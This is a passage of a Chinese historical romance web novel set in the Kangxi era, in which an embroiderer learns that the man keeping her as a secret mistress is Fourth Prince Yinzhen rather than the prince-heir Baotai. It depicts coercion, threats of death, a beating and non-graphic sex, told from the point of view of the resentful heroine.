“我想要你亲自绣,别的绣娘,我信不过,你三日后到王府找我。”
乌锦点头答应下来,她心有疑虑,想去王府求证,送走田福晋等人,她便开始作画,先画再绣,将基本的样子画出来才好下手绣成图案。
三日后,她过去裕王府,裕王府离皇宫很近,就在京城内城,王府正门一般是不开的,她在侧门见到已经在等她的月碧,随着月碧进王府。
她没有四处张望,老实跟在月碧身后。
简王府已经很气派宽敞,裕王府有过之无不及,大门一座,正殿一座,还有东西配殿,看着还有后殿跟抱厦,大概一天都走不完。
乌锦跟着七拐八弯,已经记不清来时的路,待会可能还要月碧领她出府,到了田福晋的房间时,她先给福晋行礼,没有东瞟西瞟,等着福晋先说话。
田氏对乌锦小心谨慎的样子很满意,示意她把画好的画给她看。
乌锦拿出几张画呈给田福晋,给她细讲。
田氏是坐在窗前的湘妃榻上,身后靠着绣八宝花的靠垫,榻上铺着一层毛茸茸的羊毛毯,其实不用听乌锦讲,她画得足够清晰,已经能看出夹马褂的样子,乌锦不仅仅是绣工精湛,画工也灵巧。
既然宫中娘娘喜欢乌锦绣的褂子,没理由婆母会不喜欢,这一身看上去很雍容富贵,两次接触下来,田氏觉得乌锦是一个做事很周全的人,这种人口风紧,不会乱说话的。
“就照这样做吧,图案就照上面画的去绣,月碧,你给二两银子给乌姑娘,这是定金,做好之后再付剩下的五两银子。”田氏说道。
“谢福晋,若是没什么事的话,奴婢先退下了。”
“月碧,你送乌姑娘吧。”
乌锦又随着月碧出府,她本来抱着偶遇保泰的心过来裕王府,但没遇到保泰,她想着在王府附近蹲守,只是这裕王府太大,这附近只有他一户,无论是正门还是侧门都有看守的奴才家丁,她若是蹲守在附近,肯定会被人怀疑,于是只能放弃这个想法。
好巧不巧,只过一天,那人就找她了。
她怀疑他的身份,目光总是忍不住停留在他脸上,心想这人真的是爱新觉罗.保泰吗?当初他说他是保泰,雅尔江阿又对他很敬畏,他说他是爱新觉罗.保泰,她就信了,万一他不是保泰呢?
他如果不是保泰,那他会是谁?
许是她目光太灼热,又有些分神,他故意咬她的唇,她疼得轻哼一声。
“在想什么?”
“没什么,只是觉得世子爷长得好看。”
胤禛抬起她的下巴,沉声道:“说吧,你又有什么事要求我?说说看,说不定我会帮你。”
乌锦贴着他的胸膛,说:“我只是夸世子爷长得好看而已,世子爷为何总是认为我有事相求,你这是以小人之心度君子之腹。”
“我觉得你是口不对心,我这是在给你机会,错过了就没有了。”胤禛觉得他偶尔也是可以给她一些好处的,不止是二十两银子,她若是开口说让她阿玛升官,他想想他也是可以办得到的。
“我这个人不贪心,容易知足。”
“随你。”胤禛暂时没空跟她闲聊,他抬起她的腿,从侧边进去,同时没忘堵住她的嘴。
事后,乌锦还窝在他怀里,她抬头看着他,柔声道:“我忘了跟世子爷说一件事,世子爷的庶福晋过来找我,想绣一件夹马褂,我跟世子爷的关系,我一个字都没有跟她说。”
乌锦紧盯着他的脸,果然见到他脸上一顿。
“庶福晋?哪个庶福晋?”
“就是田福晋,世子爷,你不至于连田福晋都忘了吧,我可是听说田福晋很得宠呢,伺候世子爷伺候好多年了。”
胤禛的确不记得什么田福晋,毕竟那不是他后院的女人,保泰身边的女人,除了一个孟佳氏,他不记得其它人,他平静道:“一个庶福晋而已,谈不上得宠。”
乌锦有心试探,继续说道:“我见到田福晋的时候还很紧张,田福晋还让我去王府,我怕碰到世子爷就拒绝,只是要是下次田福晋还让我去府里,我可能不敢拒绝了。”
“你紧张什么?”
“我是外室,见到有身份的主子当然紧张。”
“难不成你也想当有身份的主子?”
乌锦对上他偏冷的眼神,摇摇头:“我哪里配当有身份的主子,我身份卑贱,能当世子爷的外室已是三生有幸,不敢奢求太多。”
“我还以为你特意提起此事是想当真正的主子,你的确不配,所以收回你那些心思。”
乌锦没想到又拐到配不配的问题上,再说下去,他会以为她想转正,她只好说:“反正我若是碰到世子爷,一定会记得世子爷先前跟我说过的话,不会向旁人提及我跟世子爷的关系,我会守口如瓶。”
“知道就好,裕王府,你不配进去,往后拒绝她,别让我说第二次。”
乌锦疑心放得更大,面上还是乖乖地说好,她知道了。
胤禛这会其实不怕被她知道自己不是保泰,当初说他是保泰,是怕这个女人贪心,知道自己是皇子后,一门心思想要攀上他,但现在看来,这个女人心有所属,没有要攀上他的心思,那他也就不怕被她知道自己真正的身份。
“那个张宗,你最好是给我忘掉!”他警告道。
“哪个张宗?哪个张,哪个宗?”
胤禛见她装傻扮愣,冷冷地看着她。
“我真的忘了,世子爷不提起的话,我都不会想起来。”
胤禛想到那日她豁出自己的命也要求他救下张宗,说明这个女人爱张宗爱到骨子里,一时半会肯定忘不掉,好在现在人是他的,谅她也不敢跟张宗暗度陈仓。
他捏着她下巴,轻声道:“放心吧,你以后应该也不会见到他了。”
乌锦不知道他这句话是什么意思,但也没问,省得惹他生气。
胤禛摸着她耳垂,她皮肤白,耳垂圆润,摸着很舒服,一些碧玉坠子或是红色珍珠很适合她。
“痒。”
胤禛抓住她的手,眼神变得幽暗,很快吻了下去,压着她来第二次。
……
又过几天,乌锦才明白他说的她见不到张宗是什么意思,张宗的阿玛张文渊从镶蓝旗参领升为江西总兵官,张宗也从骁骑校升为镶蓝旗汉军参领,驻守江西,等于是父子两均被派去江西,虽说是升官,但实际上是贬谪,远离权力中心。
乌锦听说张家人都会随父子两一起移迁江西。
二月初,乌锦收到一封信,张宗给她的,只有十二个字——-山水相逢,后会无期,各自珍重,至此之后,她再也没有见过张宗。
她信他是真的喜欢她多年,少年的情感真诚热烈炽热,只是他们有缘无分,此生只能错过,他想开放下就好,她只能在心里祝他一路顺遂,一生平安如意。
乌锦的小舅还是纳妾了,一汉民女子,姓吴,名翠萍,才十六岁,纳妾不比娶妻,更何况是普通人家的纳妾,仪式很简单,两家人凑在一块吃一席宴,吴翠萍给小舅的几个
姐姐,也就是她的几个姨妈,还有小舅妈一一敬茶,就算是纳成了。
小舅妈不知道是自己想开了,接受了这事。
康熙三十六年二月十九日,午时。
乌锦坐在铺炕上等那人过来,他进来时,她就从铺炕上站起来。
“我听说张宗今日要离开京城,你不去送送你的前未婚夫?”
这绝对是阴阳怪气,他若是真想让她送的话,又何必叫她过来,她不知道张宗今天要离开京城,她收到张宗的信也没去找他,他们该说的话已经说完了。
“有什么好送的,我更想陪世子爷。”
胤禛也不知道自己怎么想的,他知道今日张宗离开京城,本来还想看看乌锦会不会去送张宗的,又不想真的看到乌锦跟张宗依依惜别的画面,最后还是决定把她叫过来。
听到乌锦这句话,他轻笑出声,要不是说这女人擅长演戏呢,口是心非,这演技比戏班子那些人厉害多了。
“你这辈子都见不到他了,难过吗?”
乌锦不明白他为何屡屡提起张宗,张宗他们被调去江西,恐怕是他的手笔,好在张宗他们都保住命,虽说调离京城,但好在官衔升了,她觉得未必不是一件好事。
“世子爷,我一点都不难过,我是世子爷的人,不会为别的男人难过。”
“过来,帮我解衣。”胤禛见她识相,没有再为难她。
乌锦过去给他宽衣。
过一会儿,乌锦忍不住喊疼。
胤禛的力道这才放轻一些。
乌锦是真的疼,她低头一看,流血了,她忙推开他,“世子爷,我……月事好像来了。”
胤禛顺着一看,真的有血,床上也有斑驳血迹,这还是第一次他们在做的时候,她来月事,他觉得晦气,冷声道:“你月事什么时候来,你难道不知道吗?真扫兴。”
乌锦真想扇他,她月信不准时还是因为喝避子汤的缘故,她原先是真的很准时的,最迟也不会超过三天,如今她的月信来得乱七八糟,没个规律,他还好意思责怪她,不过在他眼里,她就是供他泄.欲的,他哪管她死活,她死了,他也会迅速让人将她的尸体扔出去,不要脏了他的眼,他都不把她当人。
乌锦自己把谢嬷嬷跟瓜嬷嬷叫进来,在她们整理床铺时,她过去净室那边擦拭,缠上月事带,她换了一身衣服。
自从她家里人知道后,她就不用太忌讳,哪怕是换一身别的衣服回去,他们也不会多问什么,她当外室这事在乌家其实算是禁忌,谁都不好提起。
她回到房间内见到那人脸色还很阴郁,一副不痛快的样子,床上已经换了另一套干净的被褥。
“你站在那干什么?”
“世子爷想要我做什么?”
“给我穿衣。”
两位嬷嬷都在,他还使唤她,乌锦撇嘴,还是走过去给他穿上衣服。
“下次再发生这种事,你给我跪一天。”
“这个我左右不了,就好像生病发烧一样由不得人的意志掌控,不是我想让它不来,它就不来,如果世子爷今日不找我过来,也许世子爷就不会遇到这种情况。”
“你在跟我顶嘴吗?”
“奴婢不敢。”
胤禛做到一半就被迫停下,心情本来就不好,这个女人还胆大跟他顶嘴,很是理直气壮的样子,让他眼里染上几分戾气。
“我告诉你,你别以为我不会动你,该用什么语气跟我说话,你最好想清楚。”
晓得此人此时心情不好,乌锦怕他又突然发疯,只好挤出笑容,绕到他身后给他捏肩,讨好道:“奴婢错了,是奴婢不对,世子爷别生气,奴婢下次不会了,是奴婢让世子爷失望了,没能让世子爷尽兴,下次奴婢一定补上,奴婢不该顶嘴,奴婢罪该万死,奴婢掌嘴。”
乌锦轻扇自己的脸两下,又接着给他揉肩。
谢嬷嬷她们又悄悄地退出去。
“舒服吗?要重一些吗?”
“你属猫的啊,挠痒呢。”
乌锦加大力道,从揉变成捶。
“你应该揉的不是肩膀,而是别的位置。”
乌锦假装听不懂,继续给他捶肩。
“行了,我要走了。”
胤禛知道她这样子肯定也不能继续伺候,他没空跟她在这里耗,不想多看她一眼,起身离开。
第47章第47章更新
第47章
乌锦的月事断断续续来了五天,这次还算正常,没有持续十几天。
王夫人过来她的铺子时,满脸笑意,原来是她的女儿订亲了,王夫人的小女儿参加了上一年的选秀,不过落选了,他们只能为女儿重择夫家,最后跟佟国维第六子庆恒订下亲事。
“佟家?那不是国舅爷家吗?”
“可不就是国舅爷家嘛。”
王夫人脸上有着满满的喜悦跟开心之色,可见这门亲事多让她满意,能跟佟家结上姻亲的确是好事,又是佟国维的儿子,其儿子的官职一般是三等侍卫起步,的确是一门好亲事,乌锦顺道恭喜王夫人。
“不过明年才嫁呢,我想让你给我女儿做一件大婚的礼服,我信得过你的绣工。”
乌锦便跟王夫人坐下来商量这礼服该怎么做,这一聊就聊了一个时辰,王夫人离开时说不着急,成亲大婚的日子在明年呢。
虽说明年才成亲,不过这成套的礼服可不止一件,没有三五个月是绣不完的,乌锦想着等绣好田福晋送给她婆母的夹马褂,她就得开始着手绣礼服。
没过几天,田福晋又叫她过去王府,询问夹马褂完成的进度,显然对送给嫡福晋西鲁克氏的生辰礼很是上心。
乌锦跟她说了之后,她才满意地点点头,又听见田福晋说她这里缺一个绣娘,问她愿不愿意进王府当她的绣娘,吃住都会在王府,她每个月会给她五两银子。
这富贵人家一般家里都会有几个绣娘,专门给主子缝制裁绣衣物,平日住在府里,算是府里的奴才,田福晋愿意给她五两银子的月银也算是慷慨大方了,只不过她比较喜欢自由,又不喜当奴才,所以她从来不考虑进府当绣娘。
她看向田福晋,拒绝道:“福晋,怕是不成,奴婢开的铺子还需奴婢盯着,加上奴婢额娘身子不好,家中又有两个幼弟,奴婢是乌家长女,需要照顾家里,恐怕不能住在王府里,多谢福晋的一片好意,福晋宅心仁厚,奴婢记在心里。”
田氏也没有不高兴,乌锦给的理由说得过去,她说道:“那算了,你不愿意就算了,当我没说。”
田氏话语刚落,有人便从外面进来,田氏一进到来人,忙从铺炕上下来,迎了上去,声音都变得有些娇柔。
“世子爷,你怎么来了?”
“怎么,我不能来吗?”
“当然不是,我这里随时都欢迎世子爷过来。”
乌锦抬眸见到上次在街上见到的男人,他穿着圆领右襟的蓝色缎金线绣麒麟长袍,腰间束玉带,下着青色缎长靴,宽阔的额头,两道粗眉,看起来是一个不好相处的人,长相偏普通,贵气纯靠衣裳衬托,不然他跟其它普通男子没什么区别。
田氏喊他世子爷,那不就意味着他是爱新觉罗.保泰,乌锦没法掩饰眼底的震惊,这个人才是爱新觉罗.保泰,那那个人是谁?
乌锦震惊到忘记行礼,还是一旁的月碧扯了扯她袖子,低声命
她行礼,她才晃过神跟月碧一样跪下行礼。
“她是谁?”
田氏忙解释说道:“她是我找的绣娘,想找她给我做几件衣裳,世子爷记不记得我送给世子爷那顶毡帽,那顶毡帽便是出于乌姑娘之手。”
爱新觉罗.保泰打量跪着的人,想起他在街上碰到过这个人,她好像两次见到他都很惊讶,他不由问道:“你为何见到我这么惊讶?”
乌锦低垂着脑袋,将自己所有情绪掩下去,声音努力平静回道:“奴婢是第一次见到世子爷,世子爷万分尊贵,奴婢是激动的。”
保泰对一个丑绣娘不感兴趣,他很快看向田氏,“我今日就在你这里用膳。”
田氏脸上立即出现喜意:“我这就让膳房的人将爷的膳摆到这,那个,月碧,你送送乌姑娘吧。”
乌锦跟着月碧出去,走了几步后,她忍不住再次确认:“月碧姑娘,那人真是世子爷,裕王世子保泰?”
月碧斥她:“你不要命了,世子爷的名讳也是你能直呼的?”
乌锦扇一下自己的脸:“是我错了,我一时忘了规矩,我是第一次见到世子爷,太激动了,嘴都变笨了。”
月碧有些不耐烦:“好啦,下次不要这么失态,那就是世子爷,不然你以为是谁,你这样子,难不成还想高攀世子爷不成?”
乌锦赶忙摆手摇头:“月碧姑娘,你别开我玩笑了,我从来没有这种心思,我真是第一次见到世子爷,是被世子爷的贵气震到了。”
“谅你也不敢,好啦,快走吧。”
乌锦走出王府还有点不可置信,这才是爱新觉罗.保泰,真正的爱新觉罗.保泰是长这样的,那那个人究竟是谁,他为何要骗她,她竟然被蒙在鼓里一年多,从来没想过那人不是爱新觉罗.保泰。
她恨不得立即冲去宅子那边问谢嬷嬷她们,那人究竟是谁,只是还是压制住了,她再细细回想,谢嬷嬷她们好像都是叫那个人主子爷,不叫世子爷。
连雅尔江阿这个世子对那个人那么敬重,但他又不是世子,难不成他是皇子?
一想到这个可能,乌锦心里掀起惊涛骇浪,若是皇子,那一切似乎说得过去了,皇子比世子更尊贵,所以雅尔江阿才会如此敬他。
乌锦心中猜想没法去验证,当她回到铺子时,彩玉瞧出她神色不对,问发生什么事了,她摇摇头说没事。
当天夜里,乌锦躺在床上想康熙的那些儿子,她虽学过历史,但不代表她记得康熙儿子的出生年月,她只知道一个九子夺嫡,其它的都记得不是那么清晰。
五阿哥跟七阿哥上一年才被赐婚,那七阿哥之后的那些阿哥恐怕年纪还小,还没到成婚的年纪,而那人看起来有十七八岁,若真是皇子的话,那他可能是康熙前面四个儿子,大阿哥、太子、三阿哥跟四阿哥。
大阿哥是康熙的长子,听说有二十几岁了,那就排除了大阿哥,太子胤礽是哪一年出生的,她不清楚,太子跟大阿哥应该差不了几岁。
一一排除后,三阿哥跟四阿哥更符合,历史上的三阿哥潜心学术,半生都在编书,这样的人性情应该相对平和,而四阿哥胤禛性情阴晴不定是康熙亲口说的。
乌锦越想越不敢想,她强迫自己入睡,翻来覆去,她到后半夜才睡着。
……
三月一日,乌锦被李夫人叫去简王府,宜妃娘娘生辰在六月,李夫人依旧想让她绣一件褂子送给宜妃娘娘当生辰礼。
乌锦说她手头上已经有别的绣活,只能让铺子里的绣娘帮忙,她说别的绣娘绣工一样精湛,她会帮忙盯着。
“也好,这是送给宫里的娘娘的,你们千万不要轻视。”
乌锦肯定道:“不会的,我晓得轻重,我们肯定会认真绣好的,福晋交代我的事,我什么时候会怠慢。”
李夫人这才满意地点点头,让冬雪送她出去,冬雪见她识路,送到一半就让她自己走了,没想到乌锦碰到多兰格格。
多兰格格穿了一身粉蓝色旗装,髻上戴了一支镶宝石碧玺花簪,耳朵上带着银丝葫芦式耳坠,其实多兰只有十五岁,看上去就是一温温柔柔,天真无邪的女孩,只是她带着她三个丫鬟朝她逼近时,她就心生不好的预感。
“你怎么又过来我家,你存了什么心思,是不是在想这里撞见偶遇我哥。”多兰质问道。
乌锦说她是被李夫人叫过来的。
“哼,李夫人是不是想让你嫁进王府,就凭你这长相简直是痴心妄想,我告诉你,你永远也进不了王府,我哥也不会喜欢你。”
“是,格格说得对。”
“丑八怪,一天到晚想攀高枝,明知自己长得丑,还癞蛤蟆想吃天鹅肉,简直是不知廉耻,你是不是忘记向我行礼了,跪下!”
乌锦只好跪下。
多兰露出娇纵的笑容,她居高临下地看着乌锦,想到这个人为攀上她哥哥就故意传出她哥哥下水救她的传闻,她气不打一处来,今日正好碰到她,她必须教训教训她,让她以后都不敢来王府,她看向乌锦的右脸,她右脸不像左脸有伤疤,光滑得很,她要是也把她的光滑无暇的右脸毁了,那她就成了真正的丑八怪,看她还敢不敢勾引她哥哥。
想到这,多兰就很兴奋,她抬手对着乌锦的右脸就是一巴掌。
被打的乌锦眼里闪过一道冷意,她就不明白,她跟多兰无冤无仇,从来没有做过什么事冒犯过她,她为何屡屡跟她过不去,就因为她身份比她卑微,出身比她低,她就敢这样待她。
她抬头看着多兰,道:“格格,我是犯了什么错,你为何要打我?”
多兰觉得乌锦的眼神不怀好意,于是更加恼怒:“我想打你就打你,打你需要理由吗?你还敢顶嘴,信不信我扇死你。”
“格格,要是传出去格格刁蛮任性,蛮不讲理,格格未来的额驸会不会对格格不满?”
“他敢!我是郡君,谁敢对我不满,乌锦,你是不是想找死,敢这么跟我说话。”
多兰抬手想扇第二巴掌时,乌锦抓住她的手,她挣脱不得,立即命令她的丫鬟将她制住。
乌锦一个人跟四个人对打,显然敌不过四个人,很快她就被压在地上,三个丫鬟都坐在她身上压住她,不让她动弹。
多兰满意地笑了笑,半蹲下来,嘲讽道:“我看你还想往哪里逃,都是丑八怪了,我把另一张脸也刮花。”
多兰摘下她髻上的簪子,想刮花乌锦的脸,后头立即传来她哥哥的声音,多兰回头一看,自家哥哥跟四阿哥等人走了过来,她顿时有些害怕,将簪子隐在手中。
雅尔江阿见到被压在地上的人是乌锦时,吓得后背出冷汗,这可是四阿哥的人,哪怕是外室,也属于四阿哥的人,打狗还得看主人呢,自家妹妹这么虐打乌锦,又恰巧被四阿哥见到,他心里直呼坏了,他连忙喊道:“快把人松开,格格不懂事,你们这些伺候的奴才也不懂事嘛,就由着格格胡来,赶紧把人扶起来。”
乌锦得以脱身,她整理一下自己凌乱的衣裳。
多兰有些不满,她不觉得她打一个乌锦有什么错,她对着自家哥哥先倒打一耙,说道:“哥,是她不对,是她先对我不敬的。”
雅尔江阿哪里不知道自家妹妹的性子,乌锦这人做事周全,不可能先对多兰不敬,定是多兰招惹她在先,他狠狠地瞪了一眼自家妹妹:“多兰,你一个快要嫁出去的人,还天天这么任性妄为,你小心被伯柱嫌弃,你给乌姑娘道歉,肯定是你不对在先,快给乌姑娘道歉。”
多兰一听自己还要给乌锦这个丑八怪道歉,立即反驳道:“我才不要给她道歉,哥哥,你到底是不是我哥哥,我打她怎么了,我凭什么不能打她。”
雅尔江阿瞥了瞥四阿哥的神色,生怕四阿哥生气,听到自家妹妹还不肯认错,他气得走过来先扇了多兰一巴掌。
“哥,你打我!”
“我打的就是你,你回去闭门思过一个月,这一个月,你哪也不准去,就待在家里,我会请嬷嬷教你规矩。”
多兰气得直接转身想再打乌锦,雅尔江阿哪能看着自家妹妹犯傻,赶忙拦住,让人把多
兰带走,他给乌锦道歉。
“是舍妹不懂事,还请乌姑娘见谅。”
乌锦每次遇到多兰都没有好事,雅尔江阿一句道歉就想将事情抹过去,她不想原谅,又不得不原谅,反正在这些权贵眼里,她就是可以随意殴打的人。
“世子爷,我什么也没做。”
“我知道,是多兰有错在先,不怪你,都是她的错,我替她道歉,弄脏乌姑娘的衣裳是我们不对,到时候我赔乌姑娘一套新衣服。”
乌锦知道雅尔江阿之所以道歉也是因为那人在看着,他知道她跟那人的关系,他只是做给那个人看的,未必觉得抱歉,她说道:“不用了,我收下世子爷的歉意,衣服不用赔了,本来就不值什么钱。”
她抬眸看了一眼一直站着一言不发的人,她记得他说过的话,假装不认识,给雅尔江阿福福身说她还有事先走了便抬脚离开。
雅尔江阿又看看四阿哥,跟四阿哥道歉。
“你这个妹妹的确该管管了。”
雅尔江阿一听这话心里咯噔一下,这代表四阿哥生气了,他连忙说他肯定会管的,他会请人专门管教多兰,让她多学规矩。
“四阿哥,我送你出去。”
胤禛冷着脸离开,走出简亲王府后,他交代苏培盛两句,苏培盛便去找乌锦。
乌锦本来就没走多远,很快一辆马车朝她靠近,那人身边的奴才示意她上马车,她犹豫一下还是上了马车。
“给四阿哥请安,四阿哥万福。”
胤禛抬眸盯着她,脸上没有被拆穿身份后的慌乱,反而很镇定,漫不经心地问道:“何时发现我的身份的?”
乌锦其实就是试探,没想到他没有否认,他真是四阿哥胤禛,她顿时不知该作何反应,脑子里乱成一团。
“吓傻了?”
“世子爷……四阿哥,你为何要骗我?”
胤禛轻笑一声,不以为意道:“骗你怎么了。”
他一副骗你就骗你了,你能奈他何的样子真是让人气得牙痒痒,乌锦想说什么,又有点顾及到他是四阿哥胤禛的身份,只能把话吞回去。
他是爱新觉罗.保泰时,他就可以掌控他们一家人的命,是四阿哥胤禛时就更能掌控了,生死都在他手里,几十年后,他还会登基成帝,乌锦说不怕是不可能的,一个多兰就可以任意欺辱她,更何况是皇子。
“怕了?”
“是,奴婢害怕。”
见她不假思索地承认,胤禛反而被逗笑,心情大好,知道害怕就好,他喜欢她此时露出畏惧的样子,他指腹摩挲她脸上的擦伤。
“刚刚你可以打回去的,我可以给你撑腰。”
乌锦在心里冷笑,他给她撑腰,伤她最重的人不是多兰,而是他,她在多兰顶多受点皮肉伤,在他那可是会死。
“四阿哥,你真是四阿哥吗?我是成了四阿哥的外室,四阿哥可以给我撑腰吗?以后我就是四阿哥的人,我可以在外面这样说吗?”
乌锦假装露出雀跃的样子,对着他说道。
“别痴心妄想了,你要记住你的身份,别妄想当上真正的主子。”
胤禛见到她这个样子,忍不住提醒她一句,外室而已,怎么可能让她在外面仗着他的名义行事,外室就是见不光的。
乌锦在心里再次冷笑,刚刚还说可以为她撑腰,下一句话就让她记住她的身份,这个男人就是动动嘴皮子,把你当猴耍,你若当真才是真的傻子。
她自始至终在他这里就是供他玩乐泄.欲的下等人,他想玩就玩,想杀就杀,哪有什么尊严可言,身为下等人就得捧着他,不捧着他,他还不高兴。
乌锦知道他是四阿哥胤禛后,对自己以后的处境更加担忧,她本来想着等他腻了,他可能会好心放过她,但他会吗?
她不可能成为真正的主子,要么他厌倦她了,放过她,给她一条生路,要么他厌倦了,将她赐死,不管怎么样,她都得等他厌倦,如何让他厌倦,她得细想一番。
既然他总让她认清自己的身份,若是她认不清呢,若是她在他面前露出想要当主子,想要从外室转为真正的主子的心,他会怎么样。
“怎么不说话了?”胤禛见她不说话,抬起她的下巴,“又在盘算什么?”
“四阿哥,你会放过我吗?”
胤禛一听,脸色一沉:“放过你?如何放过你?”
“四阿哥若是厌倦我了,会给我一条生路吗?会放过我的家人吗?”
乌锦盯着他的眼睛,在他沉默时,她突然意识到这个人不会放过她,他连一条生路都不肯留给她,他真厌倦了,他一定会杀了她还有她家人,斩草除根,让这个秘密尘封。
乌锦被吓到了,他就是一个心狠的封建当权者,几条人命对他而言真的不算什么。
胤禛察觉到她的恐惧,他哄道:“不会的,我不会杀你,我会给你一条生路。”
乌锦忽然搂住他,将脸埋在他怀里,假装感激道:“四阿哥你要记住你说过的话,看我伺候你一场的份上,一定不可以杀我,给我一条生路。”
“放心吧。”胤禛想着此时先哄着她,心里怎么想的,只有他一个人知道,他安抚性地抚了抚她后背,过一会儿,他低头去攫住她的红唇。
乌锦也迎合他,昂着脖子,跟他唇舌相交。
胤禛也不觉得此时的乌锦脏,哪怕她被压在地上过,衣服都沾了一些泥土,脸上跟手上还有一些擦伤跟淤青,他在车厢内紧搂着她,将她的呼吸吞去。
马车朝着外城的宅子驱去。
他们在马车上不知道亲了多久,两个人的身子都变得有些燥热,胤禛看着眼前神色有些迷离的人,喉结滚了滚。
“或许我们可以在马车上做一次。”
“不要,再等等,我不想在马车上。”乌锦拒绝,她整个人已经歪在他身上,唇上还留着一点热吻过后的余热。
“怕什么?”
“外头都是人,我不好意思。”
胤禛摸着她的脸,没看出来她有不好意思,不过他只是逗逗她而已,并非真的想在马车上做这事。
“你上次说过要弥补我。”
乌锦娇嗔地拍了拍他的手:“四阿哥怎么还记得这事,上次是意外,我又不是故意的。”
“不管怎么样,你这次不要喊疼,不要推拒,这是你欠我的。”
乌锦敷衍应道:“好好好,我知道了,我不会制止你,你想怎么样就怎么样,就怕四阿哥坚持不了多久。”
胤禛捏她的脸,让她说话小心点。
乌锦捂着嘴偷笑,她靠在四阿哥身上。
乍一看还以为两个人情真意切,两情缱绻,实际上两个人在想什么,只有他们自己知道。
到宅子后,胤禛把人抱下来,朝里面走去。
事后,乌锦在他过去沐浴净身时,她面色平静,睁着眼看着床顶,他不会给她一条生路,她之前还抱着期冀,等他厌倦,他会放过她,没想到他从来没想过要给她一条生路,不仅是她,可能连她的家人都不放过。
乌锦第一次产生杀他之心,死的不是他,那就会是她。
第48章第48章更新
第48章
过了两日,雅尔江阿登门道歉,说是弄脏她衣裳,要赔她一百两银子,至于他的妹妹,他已经让她闭门思过。
雅尔江阿之所以跟她道歉,不过是因为她目前是四阿哥的人,打狗看主,他是忌惮四阿哥,乌锦收下这一百两。
雅尔江阿也没有在她铺子里逗留太久,很快离开,乌锦接着忙她
手上的绣活,没过几日,四阿哥又找她,又阴着脸,心情不好的样子,不知道谁又惹到他了。
他心情不好,在床上就会粗暴一些,不会顾及她的感受,乌锦只能默默承受,好在没有打人也没有咬人,就是只顾着发泄。
完事后,乌锦躺在床上时,他已经起身穿衣,什么话也没说就离开了。
“乌姑娘……”
乌锦接过谢嬷嬷端来的避子汤,一口气喝完,谢嬷嬷又递来一碟橘子蜜饯,她拿一颗含在口中才觉得苦涩味少了一些。
既然他是四阿哥,他还没被封为贝勒,应该还是住在宫里,宫中出入不便,他还这么频繁来找她,生怕别人不知道嘛,不过哪怕别人知道后,死的也会是她一个人,他一个皇子顶多多一桩风流韵事。
乌锦想到这,心又往下沉了沉。
从宅子出来后,她坐在马车内一直在想着这事,她不能像张宗那样冲动行事,她得思虑得更周全一些,得保证万无一失,毫无破绽才行。
只是没隔几日,他又找她,跟上次一样,他看上去心情不好,一通狠狠发泄后,他不像上次那样离开,而是对着她说让她以后住在这座宅子里。
乌锦诧异,忍不住拒绝道:“四阿哥,奴婢还是想住在家里。”
胤禛心情不好,听到她拒绝,横了她一眼,冷声道:“这由不得你,你以后就住在这里,你要记住你的身份,再说不,信不信我杀了你!”
他语气阴森森的,这人显然处在要发疯的状态,乌锦不敢在这个时候忤逆他,只能点点头说她知道了,给她两日收拾东西,她会搬过来住。
其实她知道他就是想让她当他的禁脔,把她拘在这座宅子里供他随时过来发泄,他从来不把她当成一个有尊严的人。
胤禛盯着她,抬起她的下巴又吻下来,吻得又急又凶,仿佛要把她吃进去。
两人又折腾半个时辰,过后他才离开。
谢嬷嬷给她药膏,乌锦擦了擦,走路才不那么疼,她回去先跟她额娘与小娘说要搬过去那边住的事,两人都沉默了。
乌锦只能宽慰她们:“其实这是好事,他说等我怀上孩子,他就抬我为庶福晋,我依旧可以回家,铺子那边也可以去,只不过夜里需要安置在那边。”
完颜氏哽咽问道:“他真的愿意抬你为庶福晋吗?万一你有了孩子,他还是不愿意接你进府怎么办?”
乌锦只能继续撒谎:“不会的,他已经答应我了,等我有了身孕,他便立即接我进府。”
程氏忍不住问道:“桃子,你跟小娘说,那人是谁?”
乌锦怕说出四阿哥皇子的身份会吓到她们,但不说出一个身份,她们没法安心,她便说是裕王世子保泰,他是裕王爷的儿子。
完颜氏跟程氏都大吃一惊,这的确是她们得罪不起的人,比简世子还要尊贵,裕王爷是当今圣上的亲兄长。
圣上只有一个亲兄长跟胞弟,一个是裕亲王,一个是恭亲王,裕亲王比恭亲王更受圣上信任与器重。
“你们也可以去那边找我,不过要小心些,别被人发现,省得有闲言碎语,旁人若问起我为何不住在家里,就说我去别人府上当绣娘了,其实这是好事,世子爷身份尊贵,若是我能当上庶福晋,往后我们家就能飞黄腾达了。”
完颜氏跟程氏知道肯定不像乌锦说得那么轻松,但她们也无能为力,乌家怎么跟裕王府抗衡,皇权之下,她们哪有选择的权利。
乌锦也告诉她阿玛此事,阿玛平日里不抽水烟的人,别人送他一套铜烟壶,包括烟袋跟烟嘴,那烟丝他都放了好几年,他坐在屋子里难得抽了许久水烟,连说是他这个阿玛没用。
佝偻无奈的样子让乌锦看着也有些难过,这根本不能怪他们,始作俑者是四阿哥。
这事也由不得他们说不,乌锦知道她若是不搬过去,四阿哥肯定又会发疯。
乌锦没有告诉乌安跟乌明,几个大人都瞒着他们,只说是她去别人府上当绣娘,等过段时日才能返家。
乌锦要收拾的东西也不多,就是把她刺绣的那些东西跟日常要穿的衣服搬过去,她想那人不找她时,她还是可以回家的。
谢嬷嬷跟瓜嬷嬷也已经将她的房间归置好,该添的东西都添了,瞧着什么都不缺,乌锦就这样住下来。
头两日,他没过来,乌锦白天忙着刺绣,夜里虽说有些失眠,但她很快调适过来,她属于不怎么认床的人,累了在哪都能睡着,到半夜还是睡着了。
等到第三天时,他才过来。
胤禛扫了一眼屋内,见房间内多了一些女孩子用的东西,乌锦这会不是在看书,而是在刺绣,他眼里闪过一丝满意,她就该在这里乖乖等着他过来,外室就要有外室的样子。
“主子爷万福。”乌锦下炕福身行礼。
胤禛大跨步走过去坐在炕几另一边。
乌锦站在一边不说话,等着他先出声。
“傻站着干什么,过来。”
乌锦走过去,被他扯过手腕,她顺势坐在他腿上。
“可还适应?”
“挺好的,有嬷嬷她们照顾,奴婢很好。”乌锦说着违心话,今日的四阿哥显然心情比前两次过来时要好一些。
胤禛其实也不是特别在意她适不适应,反正她住在这,他过来时不用等她从哪个地方慢腾腾地过来,省去他等待的时间,他觉得就该如此。
他目光落在她红唇上,拇指指腹抚了抚,她没有抹口脂,这唇色都这么红,可见她在这边过得很好,没有萎靡不振,这个女人就是这种性子,她不哭不闹,能屈能伸,会随遇而安,更何况他又没有短她吃食,还有人伺候她,她有什么好不适应的,她该感谢他才是。
“替我更衣吧。”他淡淡道。
乌锦抬手替他更衣。
